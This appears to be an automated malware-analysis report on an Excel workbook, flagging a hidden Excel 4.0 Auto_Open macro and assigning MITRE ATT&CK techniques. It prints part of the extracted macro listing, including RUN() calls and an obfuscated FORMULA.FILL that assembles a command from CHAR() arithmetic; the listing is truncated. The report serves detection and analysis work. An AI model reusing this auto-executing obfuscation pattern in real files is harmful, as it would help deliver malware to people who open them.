MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code upon opening the workbook. The macro sheet contains a call to the RUN function, which is a dangerous API that can be used to execute arbitrary commands. This suggests the file is designed to download and execute a second-stage payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 128605 bytes |
SHA-256: a31815bf21c0ab2a75be3cd45bcdb326bdb96c851baf6b9878f1b9c507196fd8 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!FB24833 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,BD17,"",343.00000000000000000000 ' Sheet,BH65,"",-4.97619047619047627506 ' Sheet,S97,"",-5.32019704433497508944 ' Sheet,FT121,"",209.00000000000000000000 ' Sheet,S137,"",-310.00000000000000000000 ' Sheet,GT141,"",-3.30049261083743816769 ' Sheet,GR142,"",0.14634146341463413754 ' Sheet,IN149,RUN(JR64351),"" ' Sheet,CH191,"",254.00000000000000000000 ' Sheet,CO209,"",-75.00000000000000000000 ' Sheet,DT225,"",3.41666666666666651864 ' Sheet,DQ243,"",7.77500488281249957367 ' Sheet,CC360,"",-375.00000000000000000000 ' Sheet,BU392,"",37.00000000000000000000 ' Sheet,JE416,"",0.90833333333333332593 ' Sheet,GO420,"",-72.00000000000000000000 ' Sheet,BP465,"",257.00000000000000000000 ' Sheet,JO480,"",2.20623501199040772391 ' Sheet,GO497,"",-112.00000000000000000000 ' Sheet,GQ556,"",2.39393939393939403359 ' Sheet,DP563,"",-0.48780487804878047697 ' Sheet,BC566,"",0.86124401913875603398 ' Sheet,HX578,"",-2.46305418719211832723 ' Sheet,DB649,"",4.47222222222222232091 ' Sheet,GC666,"",6.00000000000000000000 ' Sheet,BZ715,"",0.23697916666666665741 ' Sheet,EX733,"",218.00000000000000000000 ' Sheet,JO754,"",-4.28571428571428558740 ' Sheet,FF866,"",-288.00000000000000000000 ' Sheet,IC919,"",-44.30000000000000426326 ' Sheet,O934,"",-1.35999900000000017997 ' Sheet,JS956,"",111.00000000000000000000 ' Sheet,V983,"",0.11881188118811880639 ' Sheet,EA1086,"",1.00510204081632648077 ' Sheet,Q1090,"",-261.00000000000000000000 ' Sheet,R1100,"",0.08333333333333332871 ' Sheet,II1127,"",-224.00000000000000000000 ' Sheet,HG1263,"",-0.29646017699115045918 ' Sheet,FK1265,"",56.30000000000000426326 ' Sheet,Q1275,"",1.06858054226475296389 ' Sheet,IV1301,"",41.00000000000000000000 ' Sheet,EE1336,"",0.81218274111675126115 ' Sheet,DB1500,"",-229.00000000000000000000 ' Sheet,CP1570,"",0.41386554621848736790 ' Sheet,CK1622,"",336.00000000000000000000 ' Sheet,CP1663,"",172.00000000000000000000 ' Sheet,IR1663,"",-5.09756097560975618421 ' Sheet,GW1757,"",0.82500061035156246891 ' Sheet,DY1765,"",-289.00000000000000000000 ' Sheet,IT1785,"",1.08108108108108114109 ' Sheet,GM1823,"",-348.00000000000000000000 ' Sheet,EB1856,"",-0.72727272727272729291 ' Sheet,HL1860,"",2.18225419664268560638 ' Sheet,IF1890,"",-88.00000000000000000000 ' Sheet,JQ1901,"",-196.00000000000000000000 ' Sheet,CE1911,"",277.00000000000000000000 ' Sheet,BP1935,"",-2.90178571428571441260 ' Sheet,GH1952,"",0.48762376237623761277 ' Sheet,JT1964,"",-8.70833333333333392545 ' Sheet,BN2007,"",-5.55000488281249992895 ' Sheet,CC2024,"",90.30007812499999886313 ' Sheet,BQ2028,"",4.00000000000000000000 ' Sheet,JB2028,"",12.00000000000000000000 ' Sheet,DD2049,"",-148.00000000000000000000 ' Sheet,JU2160,"",-5.78823529411764692298 ' Sheet,IJ2230,"",566.00000000000000000000 ' Sheet,IZ2254,"",2.77477477477477485479 ' Sheet,BK2387,"",4.00000000000000000000 ' Sheet,FW2390,"FORMULA.FILL(CHAR(T31774-GY32083)&CHAR(T31774+DX48757)&CHAR(FE984-IH18784)&CHAR(DG32354/BN65075)&CHAR(T31774+JG38594)&CHAR(GL695+JJ30532)&CHAR(K20656/ER35049)&CHAR(K20656*GL15773)&CHAR(JC11703*DI41309)&CHAR(GL695/CA4554)&CHAR(DI58491/IN2905)&CHAR(GL695/JG22019)&CHAR(T31774-DJ48336)&CHAR(J3105-IV51366)&CHAR(DG32354-CD8198)&CHAR(K20656*HV55895)&CHAR(J3105/O11920)&CHAR(DE56695*IG14371)&CHAR(J3105*CL9659)&CHAR(DG32354-BC7645)&CHAR(DG32354-CD52859)&CHAR(DI58491-JH27430)&CHAR(K20656*CM36843)&CHAR(DG32354/HD36454)&CHAR(DI58491*HJ5193)&CHAR(DE56695*BD18094),FW2391)","" ' Sheet,CJ2391,"",137.00000000000000000000 ' Sheet,FW2392,RUN(CJ5851),"" ' Sheet,HM2471,"",496.00000000000000000000 ' Sheet,IX2530,"", ... (truncated) |
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